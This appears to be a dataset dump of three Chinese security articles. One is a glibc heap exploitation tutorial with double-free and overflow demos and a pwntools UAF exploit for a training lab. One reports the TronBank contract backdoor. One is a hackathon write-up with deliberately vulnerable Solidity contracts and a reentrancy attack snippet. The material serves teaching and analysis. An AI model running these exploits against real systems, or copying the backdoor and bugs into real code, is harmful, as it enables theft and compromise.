text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 堆利用系列之堆漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我们要首先熟悉几种常见的堆漏洞类型，分别是Double Free，堆溢出以及UAF漏洞。一般是借助这些漏洞实现对free
chunk的内容进行改写，进而实现漏洞利用
## Double Free漏洞
顾名思义，这种漏洞的原因是由于错误导致2次对同一个chunk连续释放了两次导致。我们可以通过一个动态调试一个例子，看看对于double
free到底是如何影响堆的
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("The goal of this is to show how we can edit a freed chunk using a Double Free bug.");
puts("Editing freed chunks will allow us to overwrite heap metadata, which is crucial to a lot of heap attacks.");
puts("However a bug to edit the heap metadata is often just one piece of the exploitation process.\n");
printf("So we start off by allocating three chunks of memory. Let's also write some data to them.\n\n");
char *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("Chunk0: @ %p\t contains: %s\n", ptr0, ptr0);
printf("Chunk1: @ %p\t contains: %s\n", ptr1, ptr1);
printf("Chunk2: @ %p\t contains: %s\n\n", ptr2, ptr2);
printf("Now is where the bug comes in. We will free the same pointer twice (the first chunk pointed to by ptr0).\n");
printf("In between the two frees, we will free a different pointer. This is because in several different versions of malloc, there is a double free check \n(however in libc-2.27 it will hit the tcache and this will be fine).\n");
printf("It will check if the pointer being free is the same as the last chunk freed, and if it is the program will cease execution.\n");
printf("To bypass this, we can just free something in between the two frees to the same pointer.\n\n");
free(ptr0); //-----------------------> b1
free(ptr1);
free(ptr0); //-----------------------> b2
printf("Next up we will allocate three new chunks of the same size that we freed, and write some data to them. This will give us the three chunks we freed.\n\n");
char *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30); //--------------> b3
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
memcpy(ptr3, data0, 0x8);
memcpy(ptr4, data1, 0x8);
memcpy(ptr5, data2, 0x8);
printf("Chunk3: @ %p\t contains: %s\n", ptr3, ptr3); //-------------> b4
printf("Chunk4: @ %p\t contains: %s\n", ptr4, ptr4);
printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);
printf("So you can see that we allocated the same pointer twice, as a result of freeing the same pointer twice (since malloc will reuse freed chunks of similar sizes for performance boosts).\n");
printf("Now we can free one of the pointers to either Chunk 3 or 5 (ptr3 or ptr5), and clear out the pointer. We will still have a pointer remaining to the same memory chunk, which will now be freed.\n");
printf("As a result we can use the double free to edit a freed chunk. Let's see it in action by freeing Chunk3 and setting the pointer equal to 0x0 (which is what's supposed to happen to prevent UAFs).\n\n");
free(ptr3);
ptr3 = 0x0;
printf("Chunk3: @ %p\n", ptr3);
printf("Chunk5: @ %p\n\n", ptr5);
printf("So you can see that we have freed ptr3 (Chunk 3) and discarded it's pointer. However we still have a pointer to it. Using that we can edit the freed chunk.\n\n");
char *data3 = "15935728";
memcpy(ptr5, data3, 0x8);
printf("Chunk5: @ %p\t contains: %s\n\n", ptr5, ptr5);
printf("Just like that, we were able to use a double free to edit a free chunk!\n");
}
我们编译好这个源代码，然后使用GEF GDB进行调试，笔者倾向于配合IDA看反编译代码。我们在b1处打断点，在GDB中观察heap的情况:
可以看到我们已经分配了3个chunk去存储了3个字符串。
而此时各种bin和tcache上面还是什么都没有，因为我们并没有释放任何chunk。
为了避免double free的检测，需要在连续free之间添加一个free(ptr1)，这样就可以绕过double
free的检测,我们在b2进行断点在观察heap的情况
我们可以发现tcache的0x40大小的链表已经存储了两个free chunk。
再通过在b3处下断点，观察double free给heap造成的影响：后来发现直接被检测出了double free
发现应该是glibc的版本太高了，已经无法这么简单地绕过double
free了，根据源代码中的提示，glibc版本为2.27，参考[关于Linux下更换不同glibc版本的解决方法](https://blog.csdn.net/weixin_44864859/article/details/107237134)，使用glibc-all-in-one和patchelf对编译好的二进制文件直接替换其ld和libc的链接库地址，指向2.27版本的再次进行调试.
在b2处的堆内存情况为
在b3处的堆内存情况为
经过两次释放我们我可以看到addr=0x555555758670这个chunk被放到了tcache 0x40 大小的链表上两次
在b4处下断点，观察新的3个malloc返回地址是什么，以及现在的heap状态
这个地方实际上GEF貌似是有点问题的，tcache里面实际上已经没有chunk了，count为0，但是还是显示有一个，这应该是是一个bug。
标准输出的结果
我们可以看出来，ptr3和ptr5实际上是返回的同一块地址。
因此当后面我们继续释放ptr3，并且把ptr3的值指向0x0,我们还是可以操作这个已经被释放的块的
根据标准输出的结果
我们先不用管能够修改已经被释放的空闲块中的内容到底有什么用，我们只考虑现在我们的Double
free是可以实现这个目标的，当我把剩下的heapoveflow和UAF介绍完了再去解释修改空闲块到底有什么意义。
所以double free到能修改free
chunk最简单抽象是首先两次free同一块地址，然后再连续两次malloc相同大小，然后再free其中一个，那么剩下那个指针指向的就是空闲块的chunk，而且还是可以被修改的。总结就是2次free，2次malloc，一次free，最终得到可用的空闲块指针。
## 堆溢出漏洞
下面我们将通过一个堆溢出实例，观察堆溢出是如何触发了空闲块的融合，并且得到空闲块的控制权的。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("The goal of this is to show how we can edit a freed chunk using a heap overflow bug to cause consolidation.");
puts("Editing freed chunks will allow us to overwrite heap metadata, which is crucial to a lot of attacks.");
puts("However a bug to edit the heap metadata is often just one piece of the exploitation process.\n");
printf("We will start off by allocating four separate chunks of memory. The first three will be used for the heap consolidation.\n");
printf("The last one will be used to essentially separate this from the heap wilderness, and we won't do anything with it.\n\n");
unsigned long *ptr0, *ptr1, *ptr2, *ptr3, *ptr4, *ptr5;
ptr0 = malloc(0x500);
ptr1 = malloc(0x70);
ptr2 = malloc(0x500);
ptr3 = malloc(0x30);
printf("Chunk 0: %p\t Size: 0x500\n", ptr0);
printf("Chunk 1: %p\t Size: 0x70\n", ptr1);
printf("Chunk 2: %p\t Size: 0x500\n", ptr2);
printf("Chunk 3: %p\t Size: 0x30\n\n", ptr3);
printf("Now the reason why the first and second chunks are 0x500 in sizes, is because they will be the ones we are freeing. In the most recent libc versions (2.26 & 2.27), there is a tcache mechanism.\n");
printf("If these chunks were much smaller, they would be stored in the tcaching mechanism and this wouldn't work. So I made them large so they wouldn't end up in the tcache.\n\n");
printf("Start off by freeing ptr0, and clearing the pointer (which is often done when heap chunks get freed to avoid a use after free).\n\n");
free(ptr0); //---------->b1
ptr0 = 0; //---------->b2
printf("Chunk 0: %p\n\n", ptr0);
printf("Now is where the heap overflow bug comes into play. We will overflow the heap metadata of ptr2. We can see that the size of ptr2 is 0x511.\n\n");
printf("Size of Chunk 2 @ %p\t Metadata Size: 0x%lx\n\n", ptr2, ptr2[-1]);
printf("0x500 bytes for the data, 0x10 bytes for the metadata, and 0x1 byte to designate that the previous chunk is in use. Our overflow will overwrite this, and the previous size value.\n");
printf("We will overwrite the size to be 0x510, essentially clearing the previous in use bit. This way when we free this chunk, it will think that the previous chunk has been freed (which it hasn't).\n");
printf("So following that, we will place a fake previous size which is the previous QWORD behind the size. We will put it as 0x590, so it thinks that the previous chunk goes all the way back to where Chunk 0 is.\n");
printf("Then when we free Chunk 2, it will consolidate the heap past chunk 1 and up to chunk 0. Then we can start allocating memory from where Chunk 0, and get an overlapping pointer to where Chunk 1 is, since it thinks it has been freed.\n");
printf("Let's do the overwrite.\n\n");
ptr1[14] = 0x590;
ptr1[15] = 0x510;
printf("Chunk 2 @ %p\nPrevious Size: 0x%lx\nSize: 0x%lx\n\n", ptr2, ptr2[-2], ptr2[-1]);
printf("Now we free chunk 2 to cause consolidation.\n\n");
free(ptr2); //------------------>b3
ptr2 = 0; //------------------>b4
printf("Now we can allocate a 0x500 chunk and an 0x70 chunk, and we wil get a pointer to where chunk 1 was.\n\n");
ptr4 = malloc(0x500);
ptr5 = malloc(0x70);
printf("Chunk 4: %p\t Size: 0x500\n", ptr4);
printf("Chunk 5: %p\t Size: 0x30\n\n", ptr5);
printf("With that we can just free Chunk 1 (which is the same as Chunk 5), and we will be able to edit a freed heap chunk.\n\n");
free(ptr1); //------------------->b5
ptr1 = 0; //------------------->b6
char *data = "15935728\x00";
memcpy(ptr5, data, 0x9);
printf("Chunk 5 @ %p\t Contains: %s\n\n", ptr5, (char *)ptr5);
printf("Just like that we use a heap overflow to cause a heap consolidation past an allocated chunk, get overlapping pointers, and edit a free chunk!\n");
}
我们先看看b1-b6几处的堆的情况。
在b1处下断点，目的是观察在free之前各个chunk的地址
在b2处下断点，我们得到heap bin的情况如下图
可以看出ptr0指向的chunk是被回收到了unsorted中，因为这个chunk已经超过tcache所能容纳的0x400的大小了，是直接由unsorted
bin回收。
同时我们可以看下ptr2指向的chunk的metadata部分
如图所示，ptr2指向的chunk显示当前大小为0x510，而前一个紧邻的chunk的标志位为在使用
在b3处下断点，再看ptr2指向的chunk的大小
Chunk(addr=0x555555758c00, size=0x510, flags=)
[0x0000555555758c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
可以看出prev_inuse标志位已经被置空，而且标志前一个chunk的大小的数据为
gef➤ x/g 0x555555758c00-8-8
0x555555758bf0: 0x590
因此`ptr1[14] = 0x590;ptr1[15] =
0x510;`已经成功溢出，并且覆盖了ptr2块的元数据，修改了prev_chunk_size和current_chunk_size以及prev_inuse标志位。这就会导致当free
ptr2的chunk的时候，根据glibc的源代码，free的时候会进行向前和向后的合并，如果前面那个chunk或者后面紧邻的chunk都是未使用的话，则会把他们融合为一个大的chunk放到unsorted
bin上。
在b4处下断点，看下是否如我们所愿，有一个ptr2 大小的chunk和一个0x590相加之后的chunk被放到了unsorted bin上了。
如我们所愿，一个0x510 + 0x590 = 0xaa0大小的chunk被放置到了unsorted
bin上了，所以实际上ptr1虽然没有被释放，已经被回收到了unsorted bin中了
在b5处下断点，观察新分配的ptr4，和ptr5的来源是哪里
由图我们可知unsorted bin会被分割成合适大小的chunk分别返回给0x500和0x70的两个chunk。
ptr5指向的实际上与ptr1指向的是同一个地址，就是由于溢出导致错误的将ptr1收回到了unsorted bin中了。
在b6处下断点，观察ptr1回收到了什么地方
由于ptr1是0x80大小的chunk，因此还是在tcache的0x20~0x410的大小范围内的。
最后的打印输出也显示ptr5与ptr1是指向的相同的地方的，而此时ptr1已经是被会回收到了tcache中了
Chunk 1: 0x555555758b80 Size: 0x70
Chunk 5 @ 0x555555758b80 Contains: 15935728
这种攻击的方法主要是通过溢出，导致紧邻的chunk的头部被修改，包括标志位，以及前一个chunk的大小的修改，使得紧邻的chunk被free的时候能够造成错误的把一个chunk
回收，这样在后续的malloc中就可以直接修改这个错误回收的chunk的数据。这是一种比较常用的攻击手法，笔者在路由器的漏洞挖掘中曾经实用过这种攻击方法，并且成功拿到了root
shell。
## UAF漏洞
UAF就是在释放之后仍然实用chunk，这个天然就是可以修改已经free的chunk。
实例采用一个经典的UAF练习[hitcon training](https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab10/hacknote.c)
利用代码
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
p = process('./hacknote')
elf = ELF('./hacknote')
magic = 0x08048986
def create(size,content):
p.recvuntil(":")
p.sendline(str(1))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)
def delete(idx):
p.recvuntil(":")
p.send(str(2))
p.recvuntil(":")
p.sendline(str(idx))
def print_note(idx):
p.recvuntil(":")
p.sendline(str(3))
p.recvuntil(":")
p.sendline(str(idx))
create(16,'aa')
create(16,'bb')
delete(0)
delete(1)
create(8,p32(magic))
print_note(0)
p.interactive()
第一次调用malloc，生成一个struct note的结构，申请的是0x8大小的内存，实际上的chunk是0x8 + 0x8 =
0x10大小的chunk，malloc的返回地址是0x0804b1a0。
输入size为16，第二次调用malloc，为content生成内存空间，chunk大小为0x10 +0x8=0x18，返回地址为 0x0804b1b0。
不知为何heap chunks在这个地方是什么都不显示。只能依靠原始的方法在malloc处打断点，得到返回的地址。
第二次add node，第二次创建struct note, 堆地址为0x0804b1d0, content地址为0x0804b1e0
第一次delte 第一个node，tcache的结果
这个感觉不太对，所以感觉在32位的时候貌似GEF的heap指令显示的结果都有点问题，自己尝试确定tcache真实的状态。
根据我的理解，tcache与fastbin类似，都是一个数组指针在维护，那么tcache的数组中必有一个指针是指向刚刚释放的note的，他的有效载荷的地址是0x0804b1a0，我们先通过search-pattern去搜索一下这个地址，看看能不能在libc的空间中找到记载这个地址的内存，如果有那么大概率就是tcache数组的地址，
后来并没有发现在libc的内存空间中有这个,只是在hacknote和heap中有这个，通过源码我们知道，必定有一个静态变量存储着tcache
再次对比源码我发现起始fastbin数组和tcache数组还是有着很大的区别的
fastbin数组的元素是chunk header的指针，也就是说这个数组中确实保存着指向堆区地址的指针，而`tcache_entry
*entries[TCACHE_MAX_BINS];`这个数组的元素是指向tcache_entry的，而这个东西并不是malloc_chunk数据结构，它是在什么地方生成的，还不确定。
经过分析源码发现
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
实际上就是将tcache_entry 实际上就是指向的chunk中有效负载的地址的。
向tcache中添加一个chunk的流程，当释放一个chunk的时候，首先得到他的有效负载的地址，将他赋值给一个tcache_entry指针e
e->key = tcache实际上就是chunk中的bk指针指向了tcache
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
而`e->next = PROTECT_PTR (&e->next,
tcache->entries[tc_idx]);`的意义是让chunk的fd指针指向了某个地址，至于这个地址是什么我觉着应该是之前已经在这个tcache链表上的一个chunk的地址。这个需要我们分析`PROTECT_PTR
(&e->next,
tcache->entries[tc_idx]);`到底干了什么，因为要插入到tcache，所以肯定有tcache中将数组中的元素指向了这个e，而这个e的值就是chunk中有效负载的地址，所以我们之前分析的不错，应该在libc中有一个地址指向0x0804b1a0。但是实际上并没有，所以还是有个地方出错了。
后来经过分析发现，tcache这个只不过是一个指针，它指向的内容并不一定是在全局变量区的，而有可能是堆上分配的，经过跟踪源码发现tcache的生成过程是
tcache = (tcache_perthread_struct *) victim;
victim = _int_malloc (ar_ptr, bytes);
_int_malloc{ p = sysmalloc (nb, av); return p;}
所以可以判断出来与fastbin数组不同的是，tcache是在堆上存储的数据结构，而各种bin则是在libc库的数据区存储的数据结构。所以我们通过search-pattern搜索到的就是tcache的位置，`0x804b090`这个应该就是0x10 chunk 所对应的元素地址。
如果我们理解正确的话，那么与`0x804b090`紧邻的地方存储的应该就是指向0x18chunk的有效负载的地址，就是我们content的地址
`0x0804b1b0`,验证试试。
我们发现果然是正确的，所以tcache的大致工作原理我用下面的这张图总结
注意tcache数组中的元素总是指向最新添加到tcache中的chunk的。当我们再次delete
note的时候，可以继续观察0x804b090的指向，如果我们理解正确的话，这个地方应该是指向第二个note的地址0x0804b1d0，
0x804b094中存储的应该是第二个content地址0x0804b1e0。
而0x0804b1d0这个地址应该存储的是第一个note的地址，这样才能连接起来
当理解了整个heap的变化过程，我们很快就可以理解这个UAF exp的原理。
1. 首先创建两个note然后在删除两个note得到四个在tcache上的chunk,其中有两个chunk在0x10，另外连个在0x18
2. 再创一个note，并且让content大小为8，这样就把两个chunk 0x10大小的给重新利用上了，这个新创建的note的content实际上就是第一个note
3. 通过给这个content赋值，就可以修改第一个note的`void (*printnote)();`函数指针
## 参考
1.<https://www.jianshu.com/p/f894c2961ca6>
2.<https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab10/hacknote.c>
3.<http://p4nda.top/2018/03/20/tcache/>
4.<https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/>
5.<https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html> | 社区文章 |
**作者：DappReview
公众号：<https://mp.weixin.qq.com/s/aInEaYdS9X7HP7FbzWl6AQ>**
**系列阅读：<https://paper.seebug.org/918/>**
**导读**
：此次TronBank合约被盗事件再次印证了一个简单到令人发指的常识——所谓智能合约的开源并不能等同于“无条件的安全”，而且粗糙的去中心化机制可能存在被利用的中心化黑幕可能。在目前这个混沌无序的市场环境中，作为一个成熟的“韭菜”，请不要再轻易相信任何口头上的去中心化承诺。
**北京时间5月3日凌晨4点12分，一笔神奇的合约调用转走了TronBank合约中的2673万TRX（价值427万RMB），合约余额归零。**
仅仅在20多天前，Tronbank团队的第二个游戏BTTBank在发布3小时内即被黑客用假币攻击并盗走数千万BTT（并非1.8亿BTT），事隔不到一个月，第三款游戏TRX
Pro于4月29日20点正式上线，几天时间之内，合约余额已经突破2500万TRX。
这是否是TRON生态上的Dapp又一次被黑客盯上并成功洗劫一空？
而接下来发生的这一切
更让所有人始料未及
### 偶然触发的Bug？
合约余额归零后，项目方telegram群里面骗局和黑客的质疑声不绝于耳，DappReview和小伙伴们开始着手研究到底发生了什么。"黑客"的地址为`THeRTTCvN4SHEVYNqcLVLNGGVsWLR4smyH`，利用DappReview的玩家数据查看工具，可以看到该地址的所有者像是一个正常的Dapp玩家，从今年1月到5月该玩家涉猎过数十个Dapp，其中TronGoo是他玩过最多的游戏，从TronGoo官方排行榜可以看到他就是排名第二的大户玩家。
数据来源 https://player.dapp.review/
发生被盗事件约2个小时之后，在一个名为Scam
Watch（骗局观察）的Discord频道中，调走这一笔2673万TRX的地址`THeRTT**`拥有者wojak现身了。
根据wojak的说法，他写了个脚本在分析波场虚拟机字节码，批量扫描合约并发起交易看看有没有什么能赚到钱的方法，
**结果偶然之中命中了Tronbank合约的bug** 。一开始连他自己都不知道这笔钱是从Tronbank打过来的。
社区里部分人建议wojak把钱还给Tronbank开发者，而wojak认为这不是他的问题，开发者应该自己写测试例子，做审计以及至少跑一些形式化验证（很显然他们啥都没干），
**他愿意把这笔钱原封不动还给Tronbank的每一个投资者，而不是项目方的开发者。**
wojak要求参与了Tronbank的投资者发给他投资的交易hash值以及自己的地址，他将写一个脚本进行验证，并承诺退款给有损失的Tronbank投资人。
### 刻意埋藏的后门？
随着调查的深入，那一笔触发Bug的交易被放回桌面上被仔细的剖析。我们再来看一下：
注意到，该笔交易调用的是合约里withdraw函数，发送的金额为0.011911
TRX，要注意在Tronbank正常的业务逻辑下，调用`withdraw`函数是不应该发送任何TRX的，金额应该为0. 这一点在源代码中就可以验证。
像Tronbank这样资金盘属性的Dapp，往往都会把代码开源让合约和逻辑变得透明可信来吸引投资人，在网站最明显的位置，也标明了通过第三方验证工具`tronsmartcontract.space`（以下简称TSC）进行合约代码验证后的代码信息。
从TSC点开源代码之后，找到withdraw函数，函数第一行会先调用_withdraw()来取得可以提取的TRX金额，在_withdraw()函数的第一行我们可以看到：
require(msg.value == 0, "wrong trx amount");
这一行代码的意思是要求该笔交易发送的TRX金额必须为零，否则无法继续执行，交易会被REVERT。
**也就是说，按照开源代码的逻辑，那一笔触发Bug的交易根本不可能发生。**
现实变成了，TRX Pro的合约实际执行逻辑和所谓“开源”的代码逻辑并不一致。
这里补充说明一下，所谓的代码认证过程是这样：
1. 开发者在主网发布合约
2. 开发者在TSC上传代码，选择编译版本，编译为bytecodes，
3. TSC把步骤2中的bytecodes和步骤1中发布合约的bytecodes做匹配，匹配成功，则认证通过，理论上多或者少一个空格都不行
进一步深扒，从tronscan上找到TRX Pro合约的bytecodes，用反编译工具进行处理得到：
反编译工具： <https://www.trustlook.com/products/smartcontractguardian>
在withdraw函数中，多了一个判断`else if ((0x2E87 ==
msg.value))`，如果满足条件，那么就会把合约的余额全部转给交易发起者！我们把16进制的数字0x2E87转换成10进制，也就是11911，要知道TRX的精度为6位，11911所对应的TRX金额就是0.011911
TRX... 而这一部分判断在TSC的开源代码中是不存在的，看起来就像是是一个被藏起来没有公布的后门。
用更简单的语言梳理一遍：
1. 在主网上部署的合约，通过反编译发现，调用withdraw函数时，如果发送金额等于0.011911 TRX，则会转移全部合约余额；
2. 在TSC上认证过的开源代码中，如果发送金额不为零调用withdraw函数，交易会被撤回。
那么一切就很清晰了，实际发生的与第一点完全吻合，主网的代码运行没有问题，即TronBank在主网部署的合约中存在一个可以直接提走合约余额的后门代码，而有意思的在于第二点，明明不一样的代码逻辑是如何上传后通过了TSC的认证过程？
根据已有的信息，断定“是开发者在合约之中放置后门”这个结论仍然为时过早，目前我们可以得出的客观结论只有两点：
**1\. TRX Pro在主网的合约中存在后门**
**2\. TSC上认证过的代码与实际合约运行逻辑不符**
**注：以下内容是基于现有事实依据的可能性探讨，不代表最终结论和真相，请在传播时不要断章取义。**
至于后门是谁放置的，如何放置的？目前 **没有任何实锤证据**
，有的人认为是Tronbank开发者，有的人认为开发者的实力还不足以通过欺骗TSC验证与实际部署所不同的代码。
客观来分析存在的可能性（注意，此处仅讨论可能性，即便该可能性极低，真相目前没有任何实锤证据），有以下几种：
**可能性一：Tronbank开发者在实际部署的合约中夹杂私货放置了后门，并成功欺骗了TSC完成了另一份没有后门的代码验证。**
在探讨这种可能性时，如何欺骗TSC成为了焦点，如果真的TSC的验证存在Bug，那么这意味着之前所有通过TSC认证并标榜开源的Dapp都不再可信和透明，事实上，在Discord群里，TSC的开发者Khanh承认代码已经很久没有维护并存在bug的可能性，也有其他开发者证实自己实际部署的代码和通过认证的代码可以不完全相同。
另一方面，Tronbank开发者在Telegram群中多次声称团队没有在合约中放置任何的后门，有一种自证清白的方式是：官方给出部署时的源代码以及编译方式（包括编译工具以及版本），理论上任何人按照同样方式编译出来的bytecode和线上部署的TRX
Pro合约应该一致。但当我们提出该质疑时，官方回复如下：
这个回复的内容如果当真，则该事件将更加戏剧化和复杂化，参考可能性三
**可能性二：Tronbank团队和TSC团队合谋，部署了有后门的合约，同时TSC协助用另一个没有后门的合约完成验证。**
这是在“欺骗TSC”很难成立的前提下提出的可能性，TSC最终打上验证的标签其实是中心化的行为，完全可以人为操作，但对于TSC作为一个第三方合约验证工具来说，目前尚无竞品，做这样的事情无疑严重损伤自己的品牌，串通合谋是在性价比太低。
**可能性三：Tronbank团队没有在合约中放置后门，而是后门在合约部署过程中以某种方式产生。**
这种可能性是基于“可能一”中的官方回复的一种暗示，即项目方在合约部署时确实使用的是没有后门的合约，编译工具在部署合约到主网的过程中出现了猫腻，加入了有问题的后门。但项目方目前没有提供任何的可验证信息，使用的编译工具，以及同样代码两次编译不同结果的信息。
不论如何，TronBank开发者实际部署的代码原样我们不得而知，也无法验证真伪，该事件的真相需要等待各方提供更有说服力的证据才能被逐渐还原出来。
至少在此刻，我们还不能下定论，究竟是谁埋下了这个后门。
### 投资者的钱怎么办？
在以上错综复杂的信息之下，大部分玩家已经放弃了追查真相，而更关注的则是找回损失。
在承诺退款并要求蒙受损失的投资人发送交易信息之后，wojak整整失联了超过12小时，这期间wojak账户里的钱大部分被转移到了币安交易所。有人开始怀疑wojak并没有打算退钱准备捐款跑路，还有人认为这是TronBank项目方监守自盗，wojak就是项目方之一。
**5月3日下午2点44分**
另一边，在Tronbank的官方群里，管理员贴出的置顶消息是“TRX
Pro被黑客`THeRTTCvN4SHEVYNqcLVLNGGVsWLR4smyH`攻击，目前开发团队正在紧急处理，将会及时在群里更新消息”
**5月3日晚上9点13分**
wojak再次现身，说自己花4个多小时写了脚本从链上获取到tronbank的投资数据来跟收集到的损失信息对比，其中有不少人虚报损失，甚至有完全没有参与过投资的用户也来谎报损失，仅有少数人诚实地汇报了数字。wojak也把比对信息贴了出来`https://pastebin.com/raw/gMtxCw97`。
**5月4日下午1点24分**
整整一天之后，Tronbank项目方再次发出通知，他们正在联系wojak进行退款，如果wojak在5月4日晚7点时没有任何回复，官方将提供给投资人的补偿方案。
**5月4日下午3点 - 4点**
针对之前所承诺的24小时内给出事件分析报告，官方将再次延期，声称将联系安全公司，TSC以及波场官方做更多的调查。同时评论到，有很多细节仍需确认，之前从未遇到类似情况，这有可能是一个精彩的故事。
**5月4日晚上7点** Tronbank项目方如约公布了赔偿方案，令大部分人吃惊的是
**项目方没有跑路，而是承诺在24小时内收集信息，并在72小时内进行全额赔付。** 如果赔付照常发放，这可能是Dapp历史上最大的一次项目方赔付。
而此次赔付通知，可以说是给投资者吃了一颗定心丸，使得大部分用户打消了“后门是由开发者留下”的疑虑。但在真相露出水面之前，DappReview依旧保留质疑的态度，等待项目方公开更多的调查报告。
### 结语
原本看起来是一起常见的黑客攻击事件，却喜剧般演化成一场罗生门。究竟是开发者留后门，巧被程序员打开，还是如项目方所说有更底层的问题存在？除了当局者本身，无人知晓。
投资者们对于去中心化的信任（TSC提供的代码认证）崩塌，寄托于中心化的信任（起初是wojak的承诺，后来是Tronbank的赔付公告）。虽然严格意义上来讲最终的真相可能并不是“去中心化的锅”，但对于普通用户而言，很难区分其中差异，大部分用户的认知只能停留在“智能合约为什么开源了明明没有问题还被黑了？”
在本次事件中，虽然Tronbank承诺赔付投资人受损的利益，但受伤的无疑是波场的整个Dapp生态，基于TSC认证的开源代码所产生的信任和背书已经毫无价值，在波场官方出来验证工具之前，DappReview建议各位Dapp玩家不要轻信项目方所谓代码开源言论。
此外，截至到发稿，wojak尚未再次露面，也未将资金退还给任何投资人。
* * * | 社区文章 |
# DoraHacks区块链安全Hackathon 部分write up by 天枢
author: 天枢
## 前言
在参加护网杯的同时，天枢有一波区块链大佬小分队去参加了DoraHacks举办的比赛，小伙伴们非常给力的拿下第二名 这里分享一个这个比赛的部分题解
另外天枢还有一波小分队去参加了ISCC也取得了第二的好成绩（不说了，我去催他写writeup了...
Sissel大佬说道：
早先就对DoraHacks举办的各种hackathon有所耳闻，一直想来参加感受一次，这次很高兴天枢能够受邀参加本场区块链安全比赛，与诸位师傅共同度过一个知性而优雅的周末。各大厂商在周六都分享了许多有意思的思路、或是自家引以为傲的产品和解决方案，开拓了我和小伙伴们的眼界。一下午的展示中收获了良多干货，为第二天的比赛也开拓了思路。
本次见识到了平时只能在线上看到的诸位大师傅，也有幸享受到了师傅们精心准备的题目，包含了合约审计、漏洞利用、硬件方案、密码学、交易所安全等多个类型，受益良多。也吐槽一句，师傅们颜值都好高呀！
这里给出Q1、4、11、14、15 我们队的解答。
## 题目wp
### Q1 - 测试题
主办方提供了四个合约，需要我们给出漏洞点和修复方案，并对第二个和第四个合约写出攻击合约。
#### Auction.sol
pragma solidity ^0.4.10;
contract Auction {
address public highestBidder;
uint256 public highestBid;
function Auction(uint256 _highestBid) {
require(_highestBid > 0);
// 设置起拍价格
highestBid = _highestBid;
highestBidder = msg.sender;
}
function bid() payable {
require(msg.value > highestBid);
// 退还上一位竞拍者资金
highestBidder.transfer(highestBid);
highestBidder = msg.sender;
highestBid = msg.value;
}
// 根据区块高度或者时间等，结束拍卖
function auction_end() {
// ...
}
}
很典型的King/拍卖合约，问题出在了出现下一个高价者时，上一个人退款时的transfer()。我们可以构造一个攻击合约，他的回调函数是payable，且函数中revert()或throw。即让我们的攻击合约，作为最高出价者，并且不能接受转账即可。
#### BankOwned.sol
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Bank is Owned {
address public owner = msg.sender;
function transferOwner(address new_owner) public onlyOwner payable {
owner = new_owner;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
}
这里我认为是继承了Owned()函数，出现了问题，solidity的继承原理是代码拷贝，所有人都可以调用Bank里的Owned函数，但我之后并未调通，希望大家指正这里。
#### MyContacts.sol
pragma solidity ^0.4.0;
contract MyContacts {
struct PersonInfo {
address person;
string phoneNumber;
string note;
}
address private owner;
mapping(address => PersonInfo) contacts;
function MyContacts() {
owner = msg.sender;
}
function addContact(address _person, string _phoneNumber, string _note) public {
PersonInfo info;
info.person = _person;
info.phoneNumber = _phoneNumber;
info.note = _note;
contacts[msg.sender] = info;
}
}
在函数里声明，会覆盖变量。
这里举个[启明的文章](https://paper.seebug.org/661/)，方便理解，师傅们在第一天的演讲中也提到了这一点。
pragma solidity 0.4.24;
contract test {
struct aa{
uint x;
uint y;
}
uint public a = 4;
uint public b = 6;
function test1() returns (uint){
aa x;
x.x = 9;
x.y = 7;
}
}
函数test1中定义了一个局部结构体变量x，但是没有对其进行初始化。根据solidity的变量存储规则，这时候x是存储在storage中的，而且是从索引0开始，那么对其成员变量x,y赋值之后，刚好覆盖了全局变量a和b。
#### PrivateBank.sol
pragma solidity ^0.4.15;
contract PrivateBank {
mapping (address => uint) userBalance;
function getBalance(address u) constant returns(uint){
return userBalance[u];
}
function addToBalance() payable{
userBalance[msg.sender] += msg.value;
}
function withdrawBalance(){
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
throw;
}
userBalance[msg.sender] = 0;
}
}
看名字都猜出来了，肯定是重入漏洞啦`msg.sender.call.value(userBalance[msg.sender])()`，攻击的话call一下就好了hhh。
先让攻击合约充一点钱
function () payable public{
victim.call(bytes4(keccak256("withdrawBalance()")));
}
### Q4 - 游戏逻辑题，找出三个漏洞
这个题最后只有我们天枢给出了主办方满意的回答，已经在赛后分享和大家讨论过了。
也是之前在创宇404的时候，和Lorexxar师傅经常一起审合约，养成的好习惯。很喜欢这道题，出题的师傅说，请大家把它仅仅当作游戏合约来看待，而不是蜜罐之类的hh。我还蛮喜欢这种心态的。
pragma solidity ^0.4.0;
// Bet Game
contract BetGame {
address owner; // 合约持有者
mapping(address => uint256) public balanceOf; // 用户资金集
